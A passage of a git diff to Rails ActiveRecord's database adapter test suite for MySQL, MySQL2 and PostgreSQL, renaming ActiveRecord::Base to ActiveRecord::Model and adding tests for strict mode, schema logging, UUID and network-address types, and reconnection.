-  def test_disable_referential_integrity
-    assert_nothing_raised do
-      @connection.disable_referential_integrity do
-        # Oracle adapter uses prefetched primary key values from sequence and passes them to connection adapter insert method
-        if @connection.prefetch_primary_key?
-          id_value = @connection.next_sequence_value(@connection.default_sequence_name("fk_test_has_fk", "id"))
-          @connection.execute "INSERT INTO fk_test_has_fk (id, fk_id) VALUES (#{id_value},0)"
-        else
-          @connection.execute "INSERT INTO fk_test_has_fk (fk_id) VALUES (0)"
+    def test_disable_referential_integrity
+      assert_nothing_raised do
+        @connection.disable_referential_integrity do
+          # Oracle adapter uses prefetched primary key values from sequence and passes them to connection adapter insert method
+          if @connection.prefetch_primary_key?
+            id_value = @connection.next_sequence_value(@connection.default_sequence_name("fk_test_has_fk", "id"))
+            @connection.execute "INSERT INTO fk_test_has_fk (id, fk_id) VALUES (#{id_value},0)"
+          else
+            @connection.execute "INSERT INTO fk_test_has_fk (fk_id) VALUES (0)"
+          end
+          # should deleted created record as otherwise disable_referential_integrity will try to enable contraints after executed block
+          # and will fail (at least on Oracle)
+          @connection.execute "DELETE FROM fk_test_has_fk"
         end
-        # should deleted created record as otherwise disable_referential_integrity will try to enable contraints after executed block
-        # and will fail (at least on Oracle)
-        @connection.execute "DELETE FROM fk_test_has_fk"
       end
     end
   end
-
-  def test_deprecated_visitor_for
-    visitor_klass = Class.new(Arel::Visitors::ToSql)
-    Arel::Visitors::VISITORS['fuuu'] = visitor_klass
-    pool = stub(:spec => stub(:config => { :adapter => 'fuuu' }))
-    visitor = assert_deprecated {
-      ActiveRecord::ConnectionAdapters::AbstractAdapter.visitor_for(pool)
-    }
-    assert visitor.is_a?(visitor_klass)
-  end
 end
diff --git a/activerecord/test/cases/adapters/mysql/connection_test.rb b/activerecord/test/cases/adapters/mysql/connection_test.rb
index 2a89430da9..4bccd2cc59 100644
--- a/activerecord/test/cases/adapters/mysql/connection_test.rb
+++ b/activerecord/test/cases/adapters/mysql/connection_test.rb
@@ -3,13 +3,13 @@ require "cases/helper"
 class MysqlConnectionTest < ActiveRecord::TestCase
   def setup
     super
-    @connection = ActiveRecord::Base.connection
+    @connection = ActiveRecord::Model.connection
   end
 
   def test_mysql_reconnect_attribute_after_connection_with_reconnect_true
     run_without_connection do |orig_connection|
-      ActiveRecord::Base.establish_connection(orig_connection.merge({:reconnect => true}))
-      assert ActiveRecord::Base.connection.raw_connection.reconnect
+      ActiveRecord::Model.establish_connection(orig_connection.merge({:reconnect => true}))
+      assert ActiveRecord::Model.connection.raw_connection.reconnect
     end
   end
 
@@ -25,8 +25,8 @@ class MysqlConnectionTest < ActiveRecord::TestCase
 
   def test_mysql_reconnect_attribute_after_connection_with_reconnect_false
     run_without_connection do |orig_connection|
-      ActiveRecord::Base.establish_connection(orig_connection.merge({:reconnect => false}))
-      assert !ActiveRecord::Base.connection.raw_connection.reconnect
+      ActiveRecord::Model.establish_connection(orig_connection.merge({:reconnect => false}))
+      assert !ActiveRecord::Model.connection.raw_connection.reconnect
     end
   end
 
@@ -70,11 +70,14 @@ class MysqlConnectionTest < ActiveRecord::TestCase
     assert_equal %w{ id data }, result.columns
 
     @connection.exec_query('INSERT INTO ex (id, data) VALUES (1, "foo")')
+
+    # if there are no bind parameters, it will return a string (due to
+    # the libmysql api)
     result = @connection.exec_query('SELECT id, data FROM ex')
     assert_equal 1, result.rows.length
     assert_equal 2, result.columns.length
 
-    assert_equal [[1, 'foo']], result.rows
+    assert_equal [['1', 'foo']], result.rows
   end
 
   def test_exec_with_binds
@@ -114,20 +117,34 @@ class MysqlConnectionTest < ActiveRecord::TestCase
   # Test that MySQL allows multiple results for stored procedures
   if defined?(Mysql) && Mysql.const_defined?(:CLIENT_MULTI_RESULTS)
     def test_multi_results
-      rows = ActiveRecord::Base.connection.select_rows('CALL ten();')
+      rows = ActiveRecord::Model.connection.select_rows('CALL ten();')
       assert_equal 10, rows[0][0].to_i, "ten() did not return 10 as expected: #{rows.inspect}"
       assert @connection.active?, "Bad connection use by 'MysqlAdapter.select_rows'"
     end
   end
 
+  def test_mysql_default_in_strict_mode
+    result = @connection.exec_query "SELECT @@SESSION.sql_mode"
+    assert_equal [["STRICT_ALL_TABLES"]], result.rows
+  end
+
+  def test_mysql_strict_mode_disabled_dont_override_global_sql_mode
+    run_without_connection do |orig_connection|
+      ActiveRecord::Model.establish_connection(orig_connection.merge({:strict => false}))
+      global_sql_mode = ActiveRecord::Model.connection.exec_query "SELECT @@GLOBAL.sql_mode"
+      session_sql_mode = ActiveRecord::Model.connection.exec_query "SELECT @@SESSION.sql_mode"
+      assert_equal global_sql_mode.rows, session_sql_mode.rows
+    end
+  end
+
   private
 
   def run_without_connection
-    original_connection = ActiveRecord::Base.remove_connection
+    original_connection = ActiveRecord::Model.remove_connection
     begin
       yield original_connection
     ensure
-      ActiveRecord::Base.establish_connection(original_connection)
+      ActiveRecord::Model.establish_connection(original_connection)
     end
   end
 end
diff --git a/activerecord/test/cases/adapters/mysql/enum_test.rb b/activerecord/test/cases/adapters/mysql/enum_test.rb
new file mode 100644
index 0000000000..40af317ad1
--- /dev/null
+++ b/activerecord/test/cases/adapters/mysql/enum_test.rb
@@ -0,0 +1,10 @@
+require "cases/helper"
+
+class MysqlEnumTest < ActiveRecord::TestCase
+  class EnumTest < ActiveRecord::Base
+  end
+
+  def test_enum_limit
+    assert_equal 5, EnumTest.columns.first.limit
+  end
+end
diff --git a/activerecord/test/cases/adapters/mysql/mysql_adapter_test.rb b/activerecord/test/cases/adapters/mysql/mysql_adapter_test.rb
index 146b77a95c..ddfe42b375 100644
--- a/activerecord/test/cases/adapters/mysql/mysql_adapter_test.rb
+++ b/activerecord/test/cases/adapters/mysql/mysql_adapter_test.rb
@@ -17,11 +17,7 @@ module ActiveRecord
       end
 
       def test_client_encoding
-        if "<3".respond_to?(:encoding)
-          assert_equal Encoding::UTF_8, @conn.client_encoding
-        else
-          assert_equal 'utf8', @conn.client_encoding
-        end
+        assert_equal Encoding::UTF_8, @conn.client_encoding
       end
 
       def test_exec_insert_number
@@ -30,7 +26,9 @@ module ActiveRecord
         result = @conn.exec_query('SELECT number FROM ex WHERE number = 10')
 
         assert_equal 1, result.rows.length
-        assert_equal 10, result.rows.last.last
+        # if there are no bind parameters, it will return a string (due to
+        # the libmysql api)
+        assert_equal '10', result.rows.last.last
       end
 
       def test_exec_insert_string
@@ -41,17 +39,55 @@ module ActiveRecord
 
         value = result.rows.last.last
 
-        if "<3".respond_to?(:encoding)
-          # FIXME: this should probably be inside the mysql AR adapter?
-          value.force_encoding(@conn.client_encoding)
+        # FIXME: this should probably be inside the mysql AR adapter?
+        value.force_encoding(@conn.client_encoding)
 
-          # The strings in this file are utf-8, so transcode to utf-8
-          value.encode!(Encoding::UTF_8)
-        end
+        # The strings in this file are utf-8, so transcode to utf-8
+        value.encode!(Encoding::UTF_8)
 
         assert_equal str, value
       end
 
+      def test_tables_quoting
+        begin
+          @conn.tables(nil, "foo-bar", nil)
+          flunk
+        rescue => e
+          # assertion for *quoted* database properly
+          assert_match(/database 'foo-bar'/, e.inspect)
+        end
+      end
+
+      def test_pk_and_sequence_for
+        pk, seq = @conn.pk_and_sequence_for('ex')
+        assert_equal 'id', pk
+        assert_equal @conn.default_sequence_name('ex', 'id'), seq
+      end
+
+      def test_pk_and_sequence_for_with_non_standard_primary_key
+        @conn.exec_query('drop table if exists ex_with_non_standard_pk')
+        @conn.exec_query(<<-eosql)
+          CREATE TABLE `ex_with_non_standard_pk` (
+            `code` INT(11) DEFAULT NULL auto_increment,
+             PRIMARY KEY  (`code`))
+        eosql
+        pk, seq = @conn.pk_and_sequence_for('ex_with_non_standard_pk')
+        assert_equal 'code', pk
+        assert_equal @conn.default_sequence_name('ex_with_non_standard_pk', 'code'), seq
+      end
+
+      def test_pk_and_sequence_for_with_custom_index_type_pk
+        @conn.exec_query('drop table if exists ex_with_custom_index_type_pk')
+        @conn.exec_query(<<-eosql)
+          CREATE TABLE `ex_with_custom_index_type_pk` (
+            `id` INT(11) DEFAULT NULL auto_increment,
+             PRIMARY KEY  USING BTREE (`id`))
+        eosql
+        pk, seq = @conn.pk_and_sequence_for('ex_with_custom_index_type_pk')
+        assert_equal 'id', pk
+        assert_equal @conn.default_sequence_name('ex_with_custom_index_type_pk', 'id'), seq
+      end
+
       private
       def insert(ctx, data)
         binds   = data.map { |name, value|
diff --git a/activerecord/test/cases/adapters/mysql/reserved_word_test.rb b/activerecord/test/cases/adapters/mysql/reserved_word_test.rb
index 292c7efebb..aff971a955 100644
--- a/activerecord/test/cases/adapters/mysql/reserved_word_test.rb
+++ b/activerecord/test/cases/adapters/mysql/reserved_word_test.rb
@@ -34,11 +34,11 @@ class MysqlReservedWordTest < ActiveRecord::TestCase
       'select'=>'id int auto_increment primary key',
       'values'=>'id int auto_increment primary key, group_id int',
       'distinct'=>'id int auto_increment primary key',
-      'distincts_selects'=>'distinct_id int, select_id int'
+      'distinct_select'=>'distinct_id int, select_id int'
   end
 
   def teardown
-    drop_tables_directly ['group', 'select', 'values', 'distinct', 'distincts_selects', 'order']
+    drop_tables_directly ['group', 'select', 'values', 'distinct', 'distinct_select', 'order']
   end
 
   # create tables with reserved-word names and columns
@@ -80,7 +80,7 @@ class MysqlReservedWordTest < ActiveRecord::TestCase
 
   #activerecord model class with reserved-word table name
   def test_activerecord_model
-    create_test_fixtures :select, :distinct, :group, :values, :distincts_selects
+    create_test_fixtures :select, :distinct, :group, :values, :distinct_select
     x = nil
     assert_nothing_raised { x = Group.new }
     x.order = 'x'
@@ -94,7 +94,7 @@ class MysqlReservedWordTest < ActiveRecord::TestCase
 
   # has_one association with reserved-word table name
   def test_has_one_associations
-    create_test_fixtures :select, :distinct, :group, :values, :distincts_selects
+    create_test_fixtures :select, :distinct, :group, :values, :distinct_select
     v = nil
     assert_nothing_raised { v = Group.find(1).values }
     assert_equal 2, v.id
@@ -102,7 +102,7 @@ class MysqlReservedWordTest < ActiveRecord::TestCase
 
   # belongs_to association with reserved-word table name
   def test_belongs_to_associations
-    create_test_fixtures :select, :distinct, :group, :values, :distincts_selects
+    create_test_fixtures :select, :distinct, :group, :values, :distinct_select
     gs = nil
     assert_nothing_raised { gs = Select.find(2).groups }
     assert_equal gs.length, 2
@@ -111,7 +111,7 @@ class MysqlReservedWordTest < ActiveRecord::TestCase
 
   # has_and_belongs_to_many with reserved-word table name
   def test_has_and_belongs_to_many
-    create_test_fixtures :select, :distinct, :group, :values, :distincts_selects
+    create_test_fixtures :select, :distinct, :group, :values, :distinct_select
     s = nil
     assert_nothing_raised { s = Distinct.find(1).selects }
     assert_equal s.length, 2
@@ -130,7 +130,7 @@ class MysqlReservedWordTest < ActiveRecord::TestCase
   end
 
   def test_associations_work_with_reserved_words
-    assert_nothing_raised { Select.find(:all, :include => [:groups]) }
+    assert_nothing_raised { Select.all.merge!(:includes => [:groups]).to_a }
   end
 
   #the following functions were added to DRY test cases
diff --git a/activerecord/test/cases/adapters/mysql/schema_test.rb b/activerecord/test/cases/adapters/mysql/schema_test.rb
index a2155d1dd1..d94bb629a7 100644
--- a/activerecord/test/cases/adapters/mysql/schema_test.rb
+++ b/activerecord/test/cases/adapters/mysql/schema_test.rb
@@ -13,14 +13,18 @@ module ActiveRecord
         table       = Post.table_name
         @db_name    = db
 
-        @omgpost = Class.new(Post) do
-          set_table_name "#{db}.#{table}"
+        @omgpost = Class.new(ActiveRecord::Base) do
+          self.table_name = "#{db}.#{table}"
           def self.name; 'Post'; end
         end
       end
 
       def test_schema
-        assert @omgpost.find(:first)
+        assert @omgpost.first
+      end
+
+      def test_primary_key
+        assert_equal 'id', @omgpost.primary_key
       end
 
       def test_table_exists?
diff --git a/activerecord/test/cases/adapters/mysql2/bind_parameter_test.rb b/activerecord/test/cases/adapters/mysql2/bind_parameter_test.rb
index cd9c1041dc..5e8065d80d 100644
--- a/activerecord/test/cases/adapters/mysql2/bind_parameter_test.rb
+++ b/activerecord/test/cases/adapters/mysql2/bind_parameter_test.rb
@@ -9,7 +9,7 @@ module ActiveRecord
 
         def test_update_question_marks
           str       = "foo?bar"
-          x         = Topic.find :first
+          x         = Topic.first
           x.title   = str
           x.content = str
           x.save!
@@ -28,7 +28,7 @@ module ActiveRecord
 
         def test_update_null_bytes
           str       = "foo\0bar"
-          x         = Topic.find :first
+          x         = Topic.first
           x.title   = str
           x.content = str
           x.save!
diff --git a/activerecord/test/cases/adapters/mysql2/connection_test.rb b/activerecord/test/cases/adapters/mysql2/connection_test.rb
index 26091c713b..c63e4fe5b6 100644
--- a/activerecord/test/cases/adapters/mysql2/connection_test.rb
+++ b/activerecord/test/cases/adapters/mysql2/connection_test.rb
@@ -3,7 +3,14 @@ require "cases/helper"
 class MysqlConnectionTest < ActiveRecord::TestCase
   def setup
     super
-    @connection = ActiveRecord::Base.connection
+    @connection = ActiveRecord::Model.connection
+    @connection.extend(LogIntercepter)
+    @connection.intercepted = true
+  end
+
+  def teardown
+    @connection.intercepted = false
+    @connection.logged = []
   end
 
   def test_no_automatic_reconnection_after_timeout
@@ -29,14 +36,51 @@ class MysqlConnectionTest < ActiveRecord::TestCase
     assert @connection.active?
   end
 
+  # TODO: Below is a straight up copy/paste from mysql/connection_test.rb
+  # I'm not sure what the correct way is to share these tests between
+  # adapters in minitest.
+  def test_mysql_default_in_strict_mode
+    result = @connection.exec_query "SELECT @@SESSION.sql_mode"
+    assert_equal [["STRICT_ALL_TABLES"]], result.rows
+  end
+
+  def test_mysql_strict_mode_disabled_dont_override_global_sql_mode
+    run_without_connection do |orig_connection|
+      ActiveRecord::Model.establish_connection(orig_connection.merge({:strict => false}))
+      global_sql_mode = ActiveRecord::Model.connection.exec_query "SELECT @@GLOBAL.sql_mode"
+      session_sql_mode = ActiveRecord::Model.connection.exec_query "SELECT @@SESSION.sql_mode"
+      assert_equal global_sql_mode.rows, session_sql_mode.rows
+    end
+  end
+
+  def test_logs_name_structure_dump
+    @connection.structure_dump
+    assert_equal "SCHEMA", @connection.logged[0][1]
+    assert_equal "SCHEMA", @connection.logged[2][1]
+  end
+
+  def test_logs_name_show_variable
+    @connection.show_variable 'foo'
+    assert_equal "SCHEMA", @connection.logged[0][1]
+  end
+
+  def test_logs_name_rename_column_sql
+    @connection.execute "CREATE TABLE `bar_baz` (`foo` varchar(255))"
+    @connection.logged = []
+    @connection.send(:rename_column_sql, 'bar_baz', 'foo', 'foo2')
+    assert_equal "SCHEMA", @connection.logged[0][1]
+  ensure
+    @connection.execute "DROP TABLE `bar_baz`"
+  end
+
   private
 
   def run_without_connection
-    original_connection = ActiveRecord::Base.remove_connection
+    original_connection = ActiveRecord::Model.remove_connection
     begin
       yield original_connection
     ensure
-      ActiveRecord::Base.establish_connection(original_connection)
+      ActiveRecord::Model.establish_connection(original_connection)
     end
   end
 end
diff --git a/activerecord/test/cases/adapters/mysql2/enum_test.rb b/activerecord/test/cases/adapters/mysql2/enum_test.rb
new file mode 100644
index 0000000000..f3a05e48ad
--- /dev/null
+++ b/activerecord/test/cases/adapters/mysql2/enum_test.rb
@@ -0,0 +1,10 @@
+require "cases/helper"
+
+class Mysql2EnumTest < ActiveRecord::TestCase
+  class EnumTest < ActiveRecord::Base
+  end
+
+  def test_enum_limit
+    assert_equal 5, EnumTest.columns.first.limit
+  end
+end
diff --git a/activerecord/test/cases/adapters/mysql2/explain_test.rb b/activerecord/test/cases/adapters/mysql2/explain_test.rb
index 8ea777b72b..68ed361aeb 100644
--- a/activerecord/test/cases/adapters/mysql2/explain_test.rb
+++ b/activerecord/test/cases/adapters/mysql2/explain_test.rb
@@ -9,12 +9,15 @@ module ActiveRecord
 
         def test_explain_for_one_query
           explain = Developer.where(:id => 1).explain
+          assert_match %(EXPLAIN for: SELECT `developers`.* FROM `developers`  WHERE `developers`.`id` = 1), explain
           assert_match %(developers | const), explain
         end
 
         def test_explain_with_eager_loading
           explain = Developer.where(:id => 1).includes(:audit_logs).explain
+          assert_match %(EXPLAIN for: SELECT `developers`.* FROM `developers`  WHERE `developers`.`id` = 1), explain
           assert_match %(developers | const), explain
+          assert_match %(EXPLAIN for: SELECT `audit_logs`.* FROM `audit_logs`  WHERE `audit_logs`.`developer_id` IN (1)), explain
           assert_match %(audit_logs | ALL), explain
         end
       end
diff --git a/activerecord/test/cases/adapters/mysql2/reserved_word_test.rb b/activerecord/test/cases/adapters/mysql2/reserved_word_test.rb
index 3a9744e78f..9fd07f014e 100644
--- a/activerecord/test/cases/adapters/mysql2/reserved_word_test.rb
+++ b/activerecord/test/cases/adapters/mysql2/reserved_word_test.rb
@@ -34,11 +34,11 @@ class MysqlReservedWordTest < ActiveRecord::TestCase
       'select'=>'id int auto_increment primary key',
       'values'=>'id int auto_increment primary key, group_id int',
       'distinct'=>'id int auto_increment primary key',
-      'distincts_selects'=>'distinct_id int, select_id int'
+      'distinct_select'=>'distinct_id int, select_id int'
   end
 
   def teardown
-    drop_tables_directly ['group', 'select', 'values', 'distinct', 'distincts_selects', 'order']
+    drop_tables_directly ['group', 'select', 'values', 'distinct', 'distinct_select', 'order']
   end
 
   # create tables with reserved-word names and columns
@@ -80,7 +80,7 @@ class MysqlReservedWordTest < ActiveRecord::TestCase
 
   #activerecord model class with reserved-word table name
   def test_activerecord_model
-    create_test_fixtures :select, :distinct, :group, :values, :distincts_selects
+    create_test_fixtures :select, :distinct, :group, :values, :distinct_select
     x = nil
     assert_nothing_raised { x = Group.new }
     x.order = 'x'
@@ -94,7 +94,7 @@ class MysqlReservedWordTest < ActiveRecord::TestCase
 
   # has_one association with reserved-word table name
   def test_has_one_associations
-    create_test_fixtures :select, :distinct, :group, :values, :distincts_selects
+    create_test_fixtures :select, :distinct, :group, :values, :distinct_select
     v = nil
     assert_nothing_raised { v = Group.find(1).values }
     assert_equal 2, v.id
@@ -102,7 +102,7 @@ class MysqlReservedWordTest < ActiveRecord::TestCase
 
   # belongs_to association with reserved-word table name
   def test_belongs_to_associations
-    create_test_fixtures :select, :distinct, :group, :values, :distincts_selects
+    create_test_fixtures :select, :distinct, :group, :values, :distinct_select
     gs = nil
     assert_nothing_raised { gs = Select.find(2).groups }
     assert_equal gs.length, 2
@@ -111,7 +111,7 @@ class MysqlReservedWordTest < ActiveRecord::TestCase
 
   # has_and_belongs_to_many with reserved-word table name
   def test_has_and_belongs_to_many
-    create_test_fixtures :select, :distinct, :group, :values, :distincts_selects
+    create_test_fixtures :select, :distinct, :group, :values, :distinct_select
     s = nil
     assert_nothing_raised { s = Distinct.find(1).selects }
     assert_equal s.length, 2
@@ -130,7 +130,7 @@ class MysqlReservedWordTest < ActiveRecord::TestCase
   end
 
   def test_associations_work_with_reserved_words
-    assert_nothing_raised { Select.find(:all, :include => [:groups]) }
+    assert_nothing_raised { Select.all.merge!(:includes => [:groups]).to_a }
   end
 
   #the following functions were added to DRY test cases
diff --git a/activerecord/test/cases/adapters/mysql2/schema_test.rb b/activerecord/test/cases/adapters/mysql2/schema_test.rb
index 858d1da2dd..2c0ed73c92 100644
--- a/activerecord/test/cases/adapters/mysql2/schema_test.rb
+++ b/activerecord/test/cases/adapters/mysql2/schema_test.rb
@@ -13,14 +13,18 @@ module ActiveRecord
         table       = Post.table_name
         @db_name    = db
 
-        @omgpost = Class.new(Post) do
-          set_table_name "#{db}.#{table}"
+        @omgpost = Class.new(ActiveRecord::Base) do
+          self.table_name = "#{db}.#{table}"
           def self.name; 'Post'; end
         end
       end
 
       def test_schema
-        assert @omgpost.find(:first)
+        assert @omgpost.first
+      end
+
+      def test_primary_key
+        assert_equal 'id', @omgpost.primary_key
       end
 
       def test_table_exists?
@@ -31,6 +35,17 @@ module ActiveRecord
       def test_table_exists_wrong_schema
         assert(!@connection.table_exists?("#{@db_name}.zomg"), "table should not exist")
       end
+
+      def test_tables_quoting
+        begin
+          @connection.tables(nil, "foo-bar", nil)
+          flunk
+        rescue => e
+          # assertion for *quoted* database properly
+          assert_match(/database 'foo-bar'/, e.inspect)
+        end
+      end
+
     end
   end
 end
diff --git a/activerecord/test/cases/adapters/postgresql/active_schema_test.rb b/activerecord/test/cases/adapters/postgresql/active_schema_test.rb
index e4746d4aa3..113c27b194 100644
--- a/activerecord/test/cases/adapters/postgresql/active_schema_test.rb
+++ b/activerecord/test/cases/adapters/postgresql/active_schema_test.rb
@@ -21,6 +21,22 @@ class PostgresqlActiveSchemaTest < ActiveRecord::TestCase
     assert_equal %(CREATE DATABASE "aimonetti" ENCODING = 'latin1'), create_database(:aimonetti, :encoding => :latin1)
   end
 
+  def test_create_database_with_collation_and_ctype
+    assert_equal %(CREATE DATABASE "aimonetti" ENCODING = 'UTF8' LC_COLLATE = 'ja_JP.UTF8' LC_CTYPE = 'ja_JP.UTF8'), create_database(:aimonetti, :encoding => :"UTF8", :collation => :"ja_JP.UTF8", :ctype => :"ja_JP.UTF8")
+  end
+
+  def test_add_index
+    # add_index calls index_name_exists? which can't work since execute is stubbed
+    ActiveRecord::ConnectionAdapters::PostgreSQLAdapter.send(:define_method, :index_name_exists?) do |*|
+      false
+    end
+
+    expected = %(CREATE UNIQUE INDEX "index_people_on_last_name" ON "people" ("last_name") WHERE state = 'active')
+    assert_equal expected, add_index(:people, :last_name, :unique => true, :where => "state = 'active'")
+
+    ActiveRecord::ConnectionAdapters::PostgreSQLAdapter.send(:remove_method, :index_name_exists?)
+  end
+
   private
     def method_missing(method_symbol, *arguments)
       ActiveRecord::Base.connection.send(method_symbol, *arguments)
diff --git a/activerecord/test/cases/adapters/postgresql/connection_test.rb b/activerecord/test/cases/adapters/postgresql/connection_test.rb
index 21b97b3b39..1ff307c735 100644
--- a/activerecord/test/cases/adapters/postgresql/connection_test.rb
+++ b/activerecord/test/cases/adapters/postgresql/connection_test.rb
@@ -2,13 +2,157 @@ require "cases/helper"
 
 module ActiveRecord
   class PostgresqlConnectionTest < ActiveRecord::TestCase
+    class NonExistentTable < ActiveRecord::Base
+    end
+
     def setup
       super
       @connection = ActiveRecord::Base.connection
+      @connection.extend(LogIntercepter)
+      @connection.intercepted = true
+    end
+
+    def teardown
+      @connection.intercepted = false
+      @connection.logged = []
     end
 
     def test_encoding
       assert_not_nil @connection.encoding
     end
+
+    def test_collation
+      assert_not_nil @connection.collation
+    end
+
+    def test_ctype
+      assert_not_nil @connection.ctype
+    end
+
+    def test_default_client_min_messages
+      assert_equal "warning", @connection.client_min_messages
+    end
+
+    # Ensure, we can set connection params using the example of Generic
+    # Query Optimizer (geqo). It is 'on' per default.
+    def test_connection_options
+      params = ActiveRecord::Base.connection_config.dup
+      params[:options] = "-c geqo=off"
+      NonExistentTable.establish_connection(params)
+
+      # Verify the connection param has been applied.
+      expect = NonExistentTable.connection.query('show geqo').first.first
+      assert_equal 'off', expect
+    end
+
+    def test_tables_logs_name
+      @connection.tables('hello')
+      assert_equal 'SCHEMA', @connection.logged[0][1]
+    end
+
+    def test_indexes_logs_name
+      @connection.indexes('items', 'hello')
+      assert_equal 'SCHEMA', @connection.logged[0][1]
+    end
+
+    def test_table_exists_logs_name
+      @connection.table_exists?('items')
+      assert_equal 'SCHEMA', @connection.logged[0][1]
+    end
+
+    def test_table_alias_length_logs_name
+      @connection.instance_variable_set("@table_alias_length", nil)
+      @connection.table_alias_length
+      assert_equal 'SCHEMA', @connection.logged[0][1]
+    end
+
+    def test_current_database_logs_name
+      @connection.current_database
+      assert_equal 'SCHEMA', @connection.logged[0][1]
+    end
+
+    def test_encoding_logs_name
+      @connection.encoding
+      assert_equal 'SCHEMA', @connection.logged[0][1]
+    end
+
+    def test_schema_names_logs_name
+      @connection.schema_names
+      assert_equal 'SCHEMA', @connection.logged[0][1]
+    end
+
+    def test_reconnection_after_simulated_disconnection_with_verify
+      assert @connection.active?
+      original_connection_pid = @connection.query('select pg_backend_pid()')
+
+      # Fail with bad connection on next query attempt.
+      raw_connection = @connection.raw_connection
+      raw_connection_class = class << raw_connection ; self ; end
+      raw_connection_class.class_eval <<-CODE, __FILE__, __LINE__ + 1
+        def query_fake(*args)
+          if !( @called ||= false )
+            self.stubs(:status).returns(PGconn::CONNECTION_BAD)
+            @called = true
+            raise PGError
+          else
+            self.unstub(:status)
+            query_unfake(*args)
+          end
+        end
+
+        alias query_unfake query
+        alias query        query_fake
+      CODE
+
+      begin
+        @connection.verify!
+        new_connection_pid = @connection.query('select pg_backend_pid()')
+      ensure
+        raw_connection_class.class_eval <<-CODE
+          alias query query_unfake
+          undef query_fake
+        CODE
+      end
+
+      assert_not_equal original_connection_pid, new_connection_pid, "Should have a new underlying connection pid"
+    end
+
+    # Must have with_manual_interventions set to true for this
+    # test to run.
+    # When prompted, restart the PostgreSQL server with the
+    # "-m fast" option or kill the individual connection assuming
+    # you know the incantation to do that.
+    # To restart PostgreSQL 9.1 on OS X, installed via MacPorts, ...
+    # sudo su postgres -c "pg_ctl restart -D /opt/local/var/db/postgresql91/defaultdb/ -m fast"
+    def test_reconnection_after_actual_disconnection_with_verify
+      skip "with_manual_interventions is false in configuration" unless ARTest.config['with_manual_interventions']
+
+      original_connection_pid = @connection.query('select pg_backend_pid()')
+
+      # Sanity check.
+      assert @connection.active?
+
+      puts 'Kill the connection now (e.g. by restarting the PostgreSQL ' +
+           'server with the "-m fast" option) and then press enter.'
+      $stdin.gets
+
+      @connection.verify!
+
+      assert @connection.active?
+
+      # If we get no exception here, then either we re-connected successfully, or
+      # we never actually got disconnected.
+      new_connection_pid = @connection.query('select pg_backend_pid()')
+
+      assert_not_equal original_connection_pid, new_connection_pid,
+        "umm -- looks like you didn't break the connection, because we're still " +
+        "successfully querying with the same connection pid."
+
+      # Repair all fixture connections so other tests won't break.
+      @fixture_connections.each do |c|
+        c.verify!
+      end
+    end
+
   end
 end
diff --git a/activerecord/test/cases/adapters/postgresql/datatype_test.rb b/activerecord/test/cases/adapters/postgresql/datatype_test.rb
index ce08e4c6a7..a4d9286d52 100644
--- a/activerecord/test/cases/adapters/postgresql/datatype_test.rb
+++ b/activerecord/test/cases/adapters/postgresql/datatype_test.rb
@@ -27,6 +27,9 @@ end
 class PostgresqlTimestampWithZone < ActiveRecord::Base
 end
 
+class PostgresqlUUID < ActiveRecord::Base
+end
+
 class PostgresqlDataTypeTest < ActiveRecord::TestCase
   self.use_transactional_fixtures = false
 
@@ -61,6 +64,9 @@ class PostgresqlDataTypeTest < ActiveRecord::TestCase
     @first_oid = PostgresqlOid.find(1)
 
     @connection.execute("INSERT INTO postgresql_timestamp_with_zones (time) VALUES ('2010-01-01 10:00:00-1')")
+
+    @connection.execute("INSERT INTO postgresql_uuids (guid, compact_guid) VALUES('d96c3da0-96c1-012f-1316-64ce8f32c6d8', 'f06c715096c1012f131764ce8f32c6d8')")
+    @first_uuid = PostgresqlUUID.find(1)
   end
 
   def test_data_type_of_array_types
@@ -86,9 +92,9 @@ class PostgresqlDataTypeTest < ActiveRecord::TestCase
   end
 
   def test_data_type_of_network_address_types
-    assert_equal :string, @first_network_address.column_for_attribute(:cidr_address).type
-    assert_equal :string, @first_network_address.column_for_attribute(:inet_address).type
-    assert_equal :string, @first_network_address.column_for_attribute(:mac_address).type
+    assert_equal :cidr, @first_network_address.column_for_attribute(:cidr_address).type
+    assert_equal :inet, @first_network_address.column_for_attribute(:inet_address).type
+    assert_equal :macaddr, @first_network_address.column_for_attribute(:mac_address).type
   end
 
   def test_data_type_of_bit_string_types
@@ -100,6 +106,10 @@ class PostgresqlDataTypeTest < ActiveRecord::TestCase
     assert_equal :integer, @first_oid.column_for_attribute(:obj_id).type
   end
 
+  def test_data_type_of_uuid_types
+    assert_equal :uuid, @first_uuid.column_for_attribute(:guid).type
+  end
+
   def test_array_values
    assert_equal '{35000,21000,18000,17000}', @first_array.commission_by_quarter
    assert_equal '{foo,bar,baz}', @first_array.nicknames
@@ -134,12 +144,20 @@ class PostgresqlDataTypeTest < ActiveRecord::TestCase
     assert_equal '-1 years -2 days', @first_time.time_interval
   end
 
-  def test_network_address_values
-    assert_equal '192.168.0.0/24', @first_network_address.cidr_address
-    assert_equal '172.16.1.254', @first_network_address.inet_address
+  def test_network_address_values_ipaddr
+    cidr_address = IPAddr.new '192.168.0.0/24'
+    inet_address = IPAddr.new '172.16.1.254'
+
+    assert_equal cidr_address, @first_network_address.cidr_address
+    assert_equal inet_address, @first_network_address.inet_address
     assert_equal '01:23:45:67:89:0a', @first_network_address.mac_address
   end
 
+  def test_uuid_values
+    assert_equal 'd96c3da0-96c1-012f-1316-64ce8f32c6d8', @first_uuid.guid
+    assert_equal 'f06c7150-96c1-012f-1317-64ce8f32c6d8', @first_uuid.compact_guid
+  end
+
   def test_bit_string_values
     assert_equal '00010101', @first_bit_string.bit_string
     assert_equal '00010101', @first_bit_string.bit_string_varying
@@ -200,8 +218,8 @@ class PostgresqlDataTypeTest < ActiveRecord::TestCase
   end
 
   def test_update_network_address
-    new_cidr_address = '10.1.2.3/32'
-    new_inet_address = '10.0.0.0/8'
+    new_inet_address = '10.1.2.3/32'
+    new_cidr_address = '10.0.0.0/8'
     new_mac_address = 'bc:de:f0:12:34:56'
     assert @first_network_address.cidr_address = new_cidr_address
     assert @first_network_address.inet_address = new_inet_address
diff --git a/activerecord/test/cases/adapters/postgresql/explain_test.rb b/activerecord/test/cases/adapters/postgresql/explain_test.rb
index 0d599ed37f..619d581d5f 100644
--- a/activerecord/test/cases/adapters/postgresql/explain_test.rb
+++ b/activerecord/test/cases/adapters/postgresql/explain_test.rb
@@ -9,6 +9,7 @@ module ActiveRecord
 
         def test_explain_for_one_query
           explain = Developer.where(:id => 1).explain
+          assert_match %(EXPLAIN for: SELECT "developers".* FROM "developers"  WHERE "developers"."id" = 1), explain
           assert_match %(QUERY PLAN), explain
           assert_match %(Index Scan using developers_pkey on developers), explain
         end
